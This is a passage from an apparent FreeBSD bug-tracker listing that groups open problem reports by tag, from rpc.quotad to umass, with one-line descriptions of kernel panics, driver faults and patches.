Resp. Description -------------------------------------------------------------------------------- o bin/93309 [rpc.quotad] [patch] rpc.rquotad: group quota support 1 problem total. Problem reports for tag 'rtalloc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127724 net [rtalloc] rtfree: 0xc5a8f870 has 1 refs 1 problem total. Problem reports for tag 'rtc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/70649 [rtc] system clock slows down when heavily loaded o kern/63431 [rtc] motherboard going to suspend mode stops system c 2 problems total. Problem reports for tag 'rum': S Tracker Resp. Description -------------------------------------------------------------------------------- f usb/128418 usb [panic] [rum] loading if_rum causes panic, looks like o usb/124758 usb [rum] [panic] rum panics SMP kernel o kern/123968 net [rum] [panic] rum driver causes kernel panic with WPA. o kern/120966 net [rum] kernel panic with if_rum and WPA encryption o kern/119945 net [rum] [panic] rum device in hostap mode, cause kernel 5 problems total. Problem reports for tag 'sa': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128452 scsi [sa] [panic] Accessing SCSI tape drive randomly crashe 1 problem total. Problem reports for tag 'safe': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/110662 sam [safe] safenet driver causes kernel panic 1 problem total. Problem reports for tag 'sbp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119572 [sbp] PowerBook not accessable when in target mode 1 problem total. Problem reports for tag 'sched_ule': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128177 jeff [sched_ule] wrong CPU usage reported by top/ps with SC p kern/120138 jeff [sched_ule] [patch] steal_thresh may be set a wrong va o kern/117420 jeff [sched_ule] round off in sched_balance_pair() s kern/85658 jeff [sched_ule] [patch] add DDB command, show runq, to sch o kern/78444 jeff [sched_ule] doesn't keep track of the sleep time of a 5 problems total. Problem reports for tag 'scheduler': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/127451 amd64 [scheduler] incorrect load on quad core 1 problem total. Problem reports for tag 'scsi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128245 scsi [scsi] "inquiry data fails comparison at DV1 step" [re o kern/78868 gibbs [scsi] Adaptec 29160 fails with IBM LTO-2 drive if dis o kern/13141 se [scsi] Multiple LUN support in NCR driver is broken. s kern/7264 gibbs [scsi] Buslogic BT 950 scsi card not detected 4 problems total. Problem reports for tag 'ses': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125769 [ses] [panic] getencstat(8) panics system with "Sleepi 1 problem total. Problem reports for tag 'sg': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120487 scsi [sg] scsi_sg incompatible with scanners o kern/118282 [sg] device sg + hald + umass plugging crashes 7.0 2 problems total. Problem reports for tag 'sio': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129316 [sio] [panic] kernel panic (pcpu.h:195; support.s:499) o kern/128036 [sio] [patch] serial console mostly ignores typein to a kern/122683 [sio] [freeze] access to non-existent sio port /dev/cu o kern/119606 [sio] [patch] PCMCIA card not attached to driver o i386/112487 i386 [sio] kernel panic on swi0:sio o kern/109743 [sio] The sio(4) driver appears to be getting the seri o kern/109232 imp [sio] [patch] ibufsize calculation wrong causing data o i386/105063 i386 [sio] US Robotics (3Com) 3CP5609 PCI 16550 Modem works o i386/100831 i386 [sio] sio ignores BIOS information about serial ports o kern/97665 [sio] hang in sio driver o kern/51982 remko [sio] sio1: interrupt-level buffer overflows o kern/49039 [sio] [patch] add support for RS485 hardware where dir o kern/44267 [sio] [patch] One more modem PNP id for /usr/src/sys/i o kern/26261 [sio] silo overflow problem in sio driver s kern/2298 [sio] [patch] [request] support for DSR/DCD swapping o 15 problems total. Problem reports for tag 'sis': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/83807 kmacy [sis] [patch] if_sis: Wake On Lan support for FreeBSD o kern/64556 net [sis] if_sis short cable fix problems with NetGear FA3 o kern/35442 net [sis] [patch] Problem transmitting runts in if_sis dri 3 problems total. Problem reports for tag 'sk': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/105375 yongari [sk] 2 x Marvell GBit LAN: device sk0 is attached, but o kern/101274 yongari [sk] [patch] SysKonnect Yukon initialization bug on K8 f kern/96743 yongari [sk] [patch] broken 32-bit register operations 3 problems total. Problem reports for tag 'smb': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/74044 gavin [smb] ServerWorks OSB4 SMBus interface does not detect 1 problem total. Problem reports for tag 'smbd': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/125873 amd64 [smbd] [panic] Repeated kernel panics, trap 12 page fa 1 problem total. Problem reports for tag 'smbfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133676 fs [smbfs] [panic] umount -f'ing a vnode-based memory dis o kern/133614 fs [smbfs] [panic] panic: ffs_truncate: read-only filesys o kern/130979 fs [smbfs] [panic] boot/kernel/smbfs.ko o kern/129488 fs [smbfs] Kernel "bug" when using smbfs in smbfs_smb.c: o bin/121072 fs [smbfs] mount_smbfs(8) cannot normally convert the cha o kern/119842 jail [smbfs] [jail] "Bad address" with smbfs inside a jail o bin/117315 fs [smbfs] mount_smbfs(8) and related options can't mount o kern/113852 fs [smbfs] smbfs does not properly implement DFS referral o kern/112658 fs [smbfs] [patch] smbfs and caching problems (resolves b o i386/102617 vwe [smbfs] [editors/ooo] 7 x "smb_maperror: Unmapped erro o kern/101324 fs [smbfs] smbfs sometimes not case sensitive when it's s o kern/94733 fs [smbfs] smbfs may cause double unlock o kern/91134 fs [smbfs] [patch] Preserve access and modification time a kern/90815 fs [smbfs] [patch] SMBFS with character conversions somet o kern/88657 fs [smbfs] windows client hang when browsing a samba shar o kern/88266 fs [smbfs] smbfs does not implement UIO_NOCOPY and sendfi o kern/87859 fs [smbfs] System reboot while umount smbfs. o kern/85326 fs [smbfs] [panic] saving a file via samba to an overquot o kern/80088 fs [smbfs] Incorrect file time setting on NTFS mounted vi o kern/65901 fs [smbfs] [patch] smbfs fails fsx write/truncate-down/tr o kern/61503 fs [smbfs] mount_smbfs does not work as non-root o kern/55617 fs [smbfs] Accessing an nsmb-mounted drive via a smb expo o kern/36566 fs [smbfs] System reboot with dead smb mount and umount 23 problems total. Problem reports for tag 'smbus': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/100513 jhb [smbus] Inconsistent definition of SMBus addresses in 1 problem total. Problem reports for tag 'smp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127486 [smp] [panic] early SMP panic ("AP #1 (PHY #1) failed! o kern/123140 [smp] SMP boot causes slow KB, ATA drives not detected f kern/122915 [smp] Incorrect system cpu load o kern/109936 [smp] SMP kernel performance problem on FSC TX600 o kern/93461 [smp] [regression] Intel 440LX SMP freeze (regression o i386/91745 i386 [smp] Second processor not detected on Proliant ML530 o amd64/87305 amd64 [smp] Dual Opteron / FreeBSD 5 & 6 / powerd results in o kern/67830 [smp] [patch] CPU affinity problem with forked child p 8 problems total. Problem reports for tag 'snapshots': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/115645 fs [snapshots] [panic] lockmgr: thread 0xc4c00d80, not ex 1 problem total. Problem reports for tag 'snd_cmi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/114760 multimedia [snd_cmi] snd_cmi driver causing sporadic system hangs 1 problem total. Problem reports for tag 'snd_csa': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/23546 multimedia [snd_csa] [patch] csa DMA-interrupt problem 1 problem total. Problem reports for tag 'snd_emu10k1': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/124319 multimedia [snd_emu10k1] [regression] Cannot record from second c f kern/121962 [snd_emu10k1] [panic] Kernel panics with device pollin o kern/120857 multimedia [snd_emu10k1] snd_emu10k1 driver issues a warning on u o kern/119759 multimedia [snd_emu10k1] Can not record anything with emu10k1 on o kern/107516 multimedia [snd_emu10k1] - skips, clicks and lag after a day of h o kern/104874 multimedia [snd_emu10k1] kldload snd_emu10k1 hangs system 6 problems total. Problem reports for tag 'snd_emu10kx': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132848 multimedia [snd_emu10kx] driver problem with card init, snd_emu10 1 problem total. Problem reports for tag 'snd_hda': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136429 multimedia [snd_hda] snd_hda not identified on 8.0-current o kern/135556 multimedia [snd_hda] Sound (mostly) broken w/ snd_hda on -CURRENT o kern/134767 multimedia [snd_hda] Sigmatel STAC9205X no sound under RELENG_7_2 o kern/132511 multimedia [snd_hda] Probing ALC888 codec on ASRock K10N78-1394 f f kern/132336 multimedia [snd_hda] Realtek ALC888 audio chipset does not work w o kern/120780 multimedia [snd_hda] snd_hda doesn't work on Dell Latitutude D530 o kern/115300 multimedia [snd_hda] snd_hda(4) fails to attach on -CURRENT [regr 7 problems total. Problem reports for tag 'snd_ich': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/100859 multimedia [snd_ich] snd_ich broken on GIGABYTE 915 system o kern/98496 multimedia [snd_ich] some functions don't work in my sound kernel 2 problems total. Problem reports for tag 'snd_maestro': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119973 multimedia [snd_maestro] snd_maestro only works after reload [reg 1 problem total. Problem reports for tag 'snd_mss': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/97535 multimedia [snd_mss] doesn't work in 6.0-RELEASE and above for Cr s kern/83697 multimedia [snd_mss] [patch] support, docs added for full-duplex, 2 problems total. Problem reports for tag 'snd_neomagic': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/94279 multimedia [snd_neomagic] snd_neomagic crashes on FreeBSD 5.4 and 1 problem total. Problem reports for tag 'socket': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/131876 rwatson [socket] FD leak by receiving SCM_RIGHTS by recvmsg wi o bin/131567 net [socket] [patch] Update for regression/sockets/unix_cm o kern/127360 kmacy [socket] TOE socket options missing from sosetopt() o kern/125258 net [socket] socket's SO_REUSEADDR option does not work o kern/124908 rwatson [socket] kernel performs inadequate check for incorrec a kern/97921 rwatson [socket] close() socket deadlocks blocked threads f kern/96268 net [socket] TCP socket performance drops by 3000% if pack o kern/66268 glebius [socket] [patch] Socket buffer resource limit (RLIMIT_ o kern/21998 kmacy [socket] [patch] ident only for outgoing connections 9 problems total. Problem reports for tag 'sound': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/125756 multimedia [sound] [patch] cannot detect soft-modem on HDA bus o kern/122086 multimedia [sound] maestro sound driver is working, but mixer ini p kern/121156 multimedia [sound] [patch] Turn on inverted external amplifier se o kern/119931 multimedia [sound] No sound card detected on ASUS "K8V-X SE R2.00 o kern/115666 multimedia [sound] Microphone does not work s kern/113950 multimedia [sound] [patch] [request] add per-vchan mixer support o kern/111767 multimedia [sound] ATI SB450 High Definition Audio Controller sou o kern/107051 multimedia [sound] only 2 channels output works for the ALC850 (o o kern/104626 multimedia [sound] FreeBSD 6.2 does not support SoundBlaster Audi o kern/101417 multimedia [sound] 4-speakers output not possible on Asus A8V-Del o kern/98752 multimedia [sound] Intel ich6 82801 FB - on Packard Bell A8810 la o kern/98504 multimedia [sound] Sound is distorted with SB Live 5.1 o kern/98167 multimedia [sound] [es137x] [patch] ES1370 mixer volumes incorrec o kern/97609 multimedia [sound] Load Sound Module - VIA8233 - fails o kern/96538 multimedia [sound] emu10k1-driver inverts channels o kern/95086 multimedia [sound] uaudio line in problem with sbdm lx o kern/93986 multimedia [sound] Acer TravelMate 4652LMi pcm0 channel dead o kern/92512 multimedia [sound] distorted mono output with emu10k1 o kern/90837 [sound] PCM - ICH6 - device is busy, but old process d o kern/87782 multimedia [sound] snd_t4dwave and pcm0:record:0: record interrup o kern/82043 multimedia [sound] snd_emu10k1 - mixer does not work. o kern/81146 multimedia [sound] Sound isn't working AT ALL for Sis7012 onboard o kern/80632 multimedia [sound] pcm driver missing support for CMI8738 auxilla o kern/79912 multimedia [sound] sound broken for 2 VIA chipsets: interrupt sto o kern/79905 multimedia [sound] sis7018 sound module problem o kern/79678 multimedia [sound] sound works except recording from any source o usb/75797 usb [sound] 5.3-STABLE(2005 1/4) detect USB headset, But c f kern/72995 multimedia [sound] Intel ICH2 (82801BA) - sound nearly inaudible o kern/63204 multimedia [sound] /dev/mixer broken with ESS Maestro-2E (still o o kern/60677 multimedia [sound] [patch] No reaction of volume controy key on I o kern/37600 multimedia [sound] [partial patch] t4dwave drive doesn't record. 31 problems total. Problem reports for tag 'stf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136618 net [pf][stf] panic on cloning interface without unit numb o kern/123858 net [stf] [patch] stf not usable behind a NAT s kern/85444 vwe [stf] IPv6 crash, possibly related to destroying stf i 3 problems total. Problem reports for tag 'svr4': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/91293 delphij [svr4] [patch] *Experimental* Update to the SVR4 emula 1 problem total. Problem reports for tag 'swi': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/122989 net [swi] [panic] 6.3 kernel panic in swi1: net s kern/121774 net [swi] [panic] 6.3 kernel panic in swi1: net 2 problems total. Problem reports for tag 'sym': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/114597 scsi [sym] System hangs at SCSI bus reset with dual HBAs o kern/93128 scottl [sym] FreeBSD 6.1 BETA 1 has problems with Symbios/LSI o kern/90282 scsi [sym] SCSI bus resets cause loss of ch device o kern/73289 [sym] Interrupt storm on sym0 o kern/60641 scsi [sym] Sporadic SCSI bus resets with 53C810 under load 5 problems total. Problem reports for tag 'syscons': S Tracker Resp. Description -------------------------------------------------------------------------------- p conf/126841 philip [syscons] [patch] Add eee900 keyboard layout to /usr/s o kern/98788 [syscons] [patch] Add sysctl to disallow VT_LOCKSWITCH s bin/90082 matteo [syscons] [patch] curses ACS line graphics support for o kern/72585 [syscons] [patch] iso05-8x16.fnt lacks letter q o kern/48599 [syscons] [patch] syscons cut-n-paste logic is broken o kern/46973 [syscons] [patch] [request] syscons virtual terminals o kern/39252 [syscons] [patch] syscons doesn't support 8-bit contro o kern/31890 [syscons] [patch] new syscons font s kern/15436 [syscons] syscons extension: "propellers" 9 problems total. Problem reports for tag 'sysctl': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/135550 [sysctl] [request] Feature Request: Manufacturer Infor o kern/134540 [sysctl] [panic] kernel panic after sysctl -a (in strl o kern/134231 [sysctl] sysctl() 80% slower in 7.2 than 6.2 [regressi o bin/123644 [patch] [sysctl] Allow sysctl(8) to ignore unknown OID p bin/121512 mtm [sysctl] [patch] sysctl(8) should return 1 if the user o kern/91023 [sysctl] cpufreq/p4tcc: sysctl: dev.cpu.0.freq: Device o i386/73921 i386 [sysctl] [patch] sysctlbyname for machdep.tsc_freq doe o kern/54439 [sysctl] [patch] Protecting sysctls variables by given o kern/39681 [sysctl] [patch] add hidden kernel boot tunables to sy 9 problems total. Problem reports for tag 'sysvipc': S Tracker Resp. Description -------------------------------------------------------------------------------- o threa/70975 threads [sysvipc] unexpected and unreliable behaviour when usi 1 problem total. Problem reports for tag 'sysvshm': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/115619 [sysvshm] Unfinished (uncompliant?) support for POSIX 1 problem total. Problem reports for tag 'tap': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/123892 net [tap] [patch] No buffer space available o kern/118399 secteam [tap] local/remote kernel DoS through TAP device o kern/117271 net [tap] OpenVPN TAP uses 99% CPU on releng_6 when if_tap 3 problems total. Problem reports for tag 'tcp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127928 net [tcp] [patch] TCP bandwidth gets squeezed every time t f kern/123617 net [tcp] breaking connection when client downloading file o kern/123603 net [tcp] tcp_do_segment and Received duplicate SYN f kern/122082 rwatson [tcp] NULL pointer dereference in in_pcbdrop o kern/121257 net [tcp] TSO + natd -> slow outgoing tcp traffic o kern/116335 andre [tcp] Excessive TCP window updates o kern/108670 silby [tcp] TCP connection ETIMEDOUT f kern/102741 andre [tcp] Multiple outbound connect() calls produce 'Netwo p kern/102653 andre [tcp] TCP stack sends infinite retries for connection o kern/99188 andre [tcp] [patch] FIN in same packet as duplicate ACK is l f kern/93378 net [tcp] Slow data transfer in Postfix and Cyrus IMAP (wo o kern/92690 silby [tcp] slowstart_flightsize ignored in 6-STABLE 12 problems total. Problem reports for tag 'termcap': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/136336 [termcap] [patch] missing entry for "center of keypad" f conf/128874 [termcap] termcap entry for rxvt missing :AX: capabili 2 problems total. Problem reports for tag 'terminfo': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/133715 [terminfo] [patch] no terminfo for rxvt-unicode termin 1 problem total. Problem reports for tag 'threads': S Tracker Resp. Description -------------------------------------------------------------------------------- s threa/39922 threads [threads] [patch] Threaded applications executed with 1 problem total. Problem reports for tag 'ti': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/123147 remko [ti] [patch] ti(4) doesn't use mii, but kernel configs o kern/20529 [ti] gigabit cards fail to link 2 problems total. Problem reports for tag 'timecounters': S Tracker Resp. Description -------------------------------------------------------------------------------- o amd64/127484 amd64 [timecounters] Drift problem with FreeBSD 7.0 and 7.1 1 problem total. Problem reports for tag 'tinybsd': S Tracker Resp. Description -------------------------------------------------------------------------------- p misc/135301 remko [tinybsd] [patch] Patch for fix architecture support f o misc/131059 [tinybsd] [patch] tinybsd MFSROOT option suggests YES/ 2 problems total. Problem reports for tag 'tmpfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132597 fs [tmpfs] [panic] tmpfs-related panic while interrupting o kern/127659 fs [tmpfs] tmpfs memory leak o kern/127213 fs [tmpfs] sendfile on tmpfs data corruption o kern/122038 fs [tmpfs] [panic] tmpfs: panic: tmpfs_alloc_vp: type 0xc 4 problems total. Problem reports for tag 'tools': S Tracker Resp. Description -------------------------------------------------------------------------------- o misc/100322 [tools] [patch] kerninclude.sh doesn't dump object nam 1 problem total. Problem reports for tag 'trm': S Tracker Resp. Description -------------------------------------------------------------------------------- o sparc/105048 sparc64 [trm] trm(4) panics on sparc64 1 problem total. Problem reports for tag 'tun': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133902 net [tun] Killing tun0 iface ssh tunnel causes Panic Strin o kern/116837 net [tun] [panic] [patch] ifconfig tunX destroy: panic o kern/116172 bz [tun] [nd6] [panic] Network / ipv6 recursive mutex pan o bin/115951 [tun] pppoed(8): tun not closed after client abruptly 4 problems total. Problem reports for tag 'twa': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119043 [twa] twa hang after heavy disk IO o kern/107608 [twa] [hang] Raid Problem beim Zugriff auf Raid 2 problems total. Problem reports for tag 'twe': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/72906 [twe] twe0 idefinite wait buffer a kern/66185 [twe] twe driver generates gratuitous warning on shutd 2 problems total. Problem reports for tag 'txp': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/100839 yongari [txp] txp driver inconsistently stops working when the 1 problem total. Problem reports for tag 'uart': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132165 [uart] [lor] LOR slock and uart_hwmtx o kern/131933 [uart] [patch] Cannot detect Sony Ericsson GC89 EDGE/W p kern/129665 rik [uart] Oxford OX16PCI958 8-serial multiport card is no o kern/129663 rik [uart] Timedia-based 8-serial multiport card: only two o kern/106645 [uart] [patch] uart device description in 7-CURRENT is 5 problems total. Problem reports for tag 'uath': S Tracker Resp. Description -------------------------------------------------------------------------------- p usb/135009 weongyo [uath] [patch] Accton ar5523 products not in "uath" dr 1 problem total. Problem reports for tag 'uaudio': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/117598 usb [uaudio] [patch] Not possible to record with Plantroni 1 problem total. Problem reports for tag 'ubsa': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/129522 usb [ubsa] [patch] add support for ZTE AC8700 modem o usb/127543 n_hibma [patch] [ubsa] Support Option Globetrotter HSDPA modem o usb/122956 usb [ubsa] [patch] add support for Novatel Wireless XU870 o usb/122936 usb [ucom] [ubsa] Device does not receive interrupt o usb/122905 usb [ubsa] [patch] add Huawei E220 to ubsa o usb/119227 usb [ubsa] [patch] ubsa buffer is too small; should be tun p usb/118374 attilio [ubsa] [patch] support Option GlobeTrotter Max 3.6 wir 7 problems total. Problem reports for tag 'ubsec': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133143 [ubsec] [panic] Kernel panic with ubsec and cryptodev; 1 problem total. Problem reports for tag 'ucom': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/127248 usb [ucom] panic while uplcom devices attaach and detach o kern/124777 usb [ucom] USB cua devices don't revert to tty devices whe o usb/122936 usb [ucom] [ubsa] Device does not receive interrupt o usb/118141 usb [ucom] usb serial and nokia phones ucomreadcb ucomread o usb/118140 usb [ucom] [patch] quick hack for ucom to get it behave wi o usb/113432 usb [ucom] WARNING: attempt to net_add_domain(netgraph) af o kern/86763 [ucom] kernel: ucom0: ucomwritecb: IOERROR o usb/83977 usb [ucom] [panic] ucom1: open bulk out error (addr 2): IN o usb/82350 usb [ucom] [panic] null pointer dereference in USB stack o usb/77294 usb [ucom] [panic] ucom + ulpcom panic o usb/75800 usb [ucom] ucom1: init failed STALLED error in time of syn s usb/72733 usb [ucom] [request] Kyocera 7135 Palm OS connection probl o usb/66547 usb [ucom] Palm Tungsten T USB does not initialize correct 13 problems total. Problem reports for tag 'udav': S Tracker Resp. Description -------------------------------------------------------------------------------- s usb/80776 usb [udav] [request] UDAV device driver shouldn't use usb_ 1 problem total. Problem reports for tag 'udbp': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/122813 usb [udbp] [request] udbp driver should be removed in favo o usb/82520 usb [udbp] [reboot] Reboot when USL101 connected 2 problems total. Problem reports for tag 'udf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120989 scottl [udf] [patch] UDF (with DVD RAM) isn't mountable/reada o kern/60089 scottl [udf] UDF filesystem appends garbage to files 2 problems total. Problem reports for tag 'udp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133736 net [udp] ip_id not protected ... o kern/127057 net [udp] Unable to send UDP packet via IPv6 socket to IPv o kern/120266 net [udp] [panic] gnugk causes kernel panic when closing U o kern/112722 net [ipsec] [udp] IP v4 udp fragmented packet reject 4 problems total. Problem reports for tag 'ufs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135469 fs [ufs] [panic] kernel crash on md operation in ufs_dirb o kern/132960 fs [ufs] [panic] panic:ffs_blkfree: freeing free frag o kern/132331 fs [ufs] [lor] LOR ufs and syncer o kern/129231 fs [ufs] [patch] New UFS mount (norandom) option - mostly o kern/126287 fs [ufs] [panic] Kernel panics while mounting an UFS file a kern/125613 trasz [ufs] [patch] ACL problems with special files o bin/121779 fs [ufs] snapinfo(8) (and related tools?) only work for t o kern/117954 [ufs] dirhash on very large directories blocks the mac o kern/114676 fs [ufs] snapshot creation panics: snapacct_ufs2: bad blo o kern/111782 fs [ufs] dump(8) fails horribly for large filesystems o kern/106030 fs [ufs] [panic] panic in ufs from geom when a dead disk o kern/104406 fs [ufs] Processes get stuck in "ufs" state under persist o kern/94849 fs [ufs] rename on UFS filesystem is not atomic o kern/94769 fs [ufs] Multiple file deletions on multi-snapshotted fil f kern/91568 fs [ufs] [panic] writing to UFS/softupdates DVD media in o kern/89991 fs [ufs] softupdates with mount -ur causes fs UNREFS o bin/73019 fs [ufs] fsck_ufs(8) cannot alloc 607016868 bytes for ino o kern/68978 fs [panic] [ufs] crashes with failing hard disk, loose po o kern/58373 mckusick [ufs] ufs inconsistency between 4.9-RC and 5.1 o kern/48393 mckusick [ufs] ufs2 snapshot code bugs 20 problems total. Problem reports for tag 'uftdi': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/129758 usb [uftdi] [patch] add Pyramid LCD usb support o usb/121045 usb [uftdi] [patch] Add support for PC-OP-RS1 and KURO-RS o usb/117546 remko [uftdi] [patch] Add MaxStream ZigBee product ID to uft o usb/115933 usb [uftdi] [patch] RATOC REX-USB60F (usb serial converter o usb/106615 usb [uftdi] uftdi module does not automatically load with o usb/67301 usb [uftdi] [panic] RTS and system panic 6 problems total. Problem reports for tag 'ugen': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/126884 usb [ugen] [patch] Bug in buffer handling in ugen.c o usb/121734 usb [ugen] ugen HP1022 printer device not working since up o usb/117200 usb [ugen] ugen0 prints strange string on attach if detach o usb/110856 usb [ugen] [patch] interrupt in msgs are truncated when bu o usb/83863 usb [ugen] Communication problem between opensc/openct via o usb/81308 imp [ugen] [patch] [2] polling a ugen(4) control endpoint o usb/71417 usb [ugen] Cryptoflex e-gate USB token (ugen0) communicati o usb/71416 usb [ugen] Cryptoflex e-gate USB token (ugen0) detach is n o usb/68232 usb [ugen] [patch] ugen(4) isochronous handling correction 9 problems total. Problem reports for tag 'uhci': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/129673 usb [uhci] uhci (uhub) confused on replugging USB 1.1 scan o usb/117613 usb [uhci] [irq] uhci interrupt storm & USB leaked memory o usb/79287 usb [uhci] [hang] UHCI hang after interrupt transfer o usb/76395 usb [uhci] USB printer does not work, usbdevs says "addr 0 4 problems total. Problem reports for tag 'uhid': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/111753 usb [uhid] [panic] Replicable system panic involving UHID f usb/63837 linimon [uhid] [patch] USB: hid_is_collection() only looks for 2 problems total. Problem reports for tag 'uhub': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/107496 usb [uhub] USB device problem on RELENG_6_2 (SHORT_XFER) [ o usb/103917 usb [uhub] USB driver reports "Addr 0 should never happen" o usb/103025 usb [uhub] [panic] wrong detection of USB device for FreeB o usb/92142 usb [uhub] SET_ADDR_FAILED and SHORT_XFER errors from usb 4 problems total. Problem reports for tag 'uipaq': S Tracker Resp. Description -------------------------------------------------------------------------------- p usb/121184 usb [uipaq] [patch] add ids from linux ipaq driver (plus a 1 problem total. Problem reports for tag 'ukbd': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/133989 usb [newusb] [ukbd] USB keyboard dead at mountroot> prompt o usb/132066 usb [ukbd] Keyboard failure USB keyboard DELL 760 f kern/131798 gavin [ukbd] usb keyboard doesn't work with motherboard inte o usb/125736 usb [ukbd] [hang] system hangs after AT keyboard detect if o usb/116947 usb [ukbd] [patch] [regression] enable boot protocol on th s usb/113629 usb [ukbd] Dropped USB keyboard events on Dell Latitude D6 o usb/102066 usb [ukbd] usb keyboard and multimedia keys don't work 7 problems total. Problem reports for tag 'ulpt': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/126740 usb [ulpt] doesn't work on 7.0-RELEASE, 10 second stall be o usb/122483 usb [panic] [ulpt] Repeatable panic in 7.0-STABLE o usb/116282 usb [ulpt] Cannot print on USB HP LJ1018 or LJ1300 o usb/115298 usb [ulpt] [panic] Turning off USB printer panics kernel o usb/112944 usb [ulpt] [patch] Bi-directional access to HP LaserJet 10 o usb/103046 usb [ulpt] [patch] ulpt event driven I/O with select(2) an o usb/94717 usb [ulpt] Reading from /dev/ulpt can break work of a UHCI o usb/93155 usb [ulpt] /dev/ulpt0: device busy, USB printer does not w o usb/92052 usb [ulpt] usbd causes defunct process with busy file-hand o usb/91538 usb [ulpt] [patch] Unable to print to EPSON CX3500 o usb/79524 usb [ulpt] printing to Minolta PagePro 1[23]xxW via USB fa o usb/71155 usb [ulpt] misbehaving usb-printer hangs processes, causes 12 problems total. Problem reports for tag 'uma': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/85971 jeff [uma] [patch] minor optimization to uma 1 problem total. Problem reports for tag 'umapfs': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/74708 [umapfs] [panic] UMAPFS kernel panic 1 problem total. Problem reports for tag 'umass': S Tracker Resp. Description -------------------------------------------------------------------------------- p kern/135628 remko [umass] [patch] add a device quirk for Myson Heden 881 o usb/135348 usb [umass] USB Drive Hangs with ZFS (JMicron USB2/eSata) o usb/134476 usb [usb2] [umass] [quirk] Add quirk for Cypress xx6830xx o usb/134085 usb [umass] Adding usb quirk for Sony USB flash drive o usb/131583 usb [umass] Failure when detaching umass Device o usb/129500 usb [umass] [panic] FreeBSD Crashes when connecting SanDis o usb/128425 usb [umass] Cannot Connect Maxtor Onetouch 4 USB drive o usb/127980 usb [umass] [patch] Fix Samsung YP U2 MP3 player on 7.x an s usb/127549 usb [umass] [patch] Meizu MiniPlayer M6 (SL) requires some f kern/125985 [umass] [panic] no da-device, panic upon unplugging o usb/123509 usb [umass] continuous reset Samsung SGH-G600 phone f usb/123508 vwe [umass] [msdosfs] damaged files (mp3,txt , etc) on fla o usb/122992 usb [umass] [patch] MotoROKR Z6 Phone not recognised by um o usb/122119 usb [umass] umass device causes creation of daX but not da o usb/121169 usb [umass] Issues with usb mp3 player o usb/120572 usb [umass] [patch] quirk to support ASUS P535 as umass (a o usb/119633 usb [umass] umass0: BBB reset failed, IOERROR [regression] o usb/119389 usb [umass] Sony DSC-W1 CBI reset failed, STALLED [regress o usb/118480 usb [umass] Timeout in USB mass storage freezes vfs layer o usb/118098 usb [umass] 6th gen iPod causes problems when disconnectin o usb/117955 usb [umass] [panic] inserting minolta dimage a2 crashes OS o usb/117893 usb [umass] Lacie USB DVD writing failing o usb/117313 usb [umass] [panic] panic on usb camera insertion o usb/114916 usb [umass] [patch] USB Maxtor drive (L300RO) requires qui o usb/114682 usb [umass] generic USB media-card reader unusable o kern/114667 [umass] UMASS device error log problem o usb/114068 usb [umass] [patch] Problems with connection of the umass s usb/112568 usb [umass] [request] USB mode may wrong when mounting Pla o usb/112463 usb [umass] problem with Samsung USB DVD writer, libscg an o usb/110197 usb [umass] Sony PSP umass device does not detach from EHC o usb/108513 usb [umass] Creative MuVo 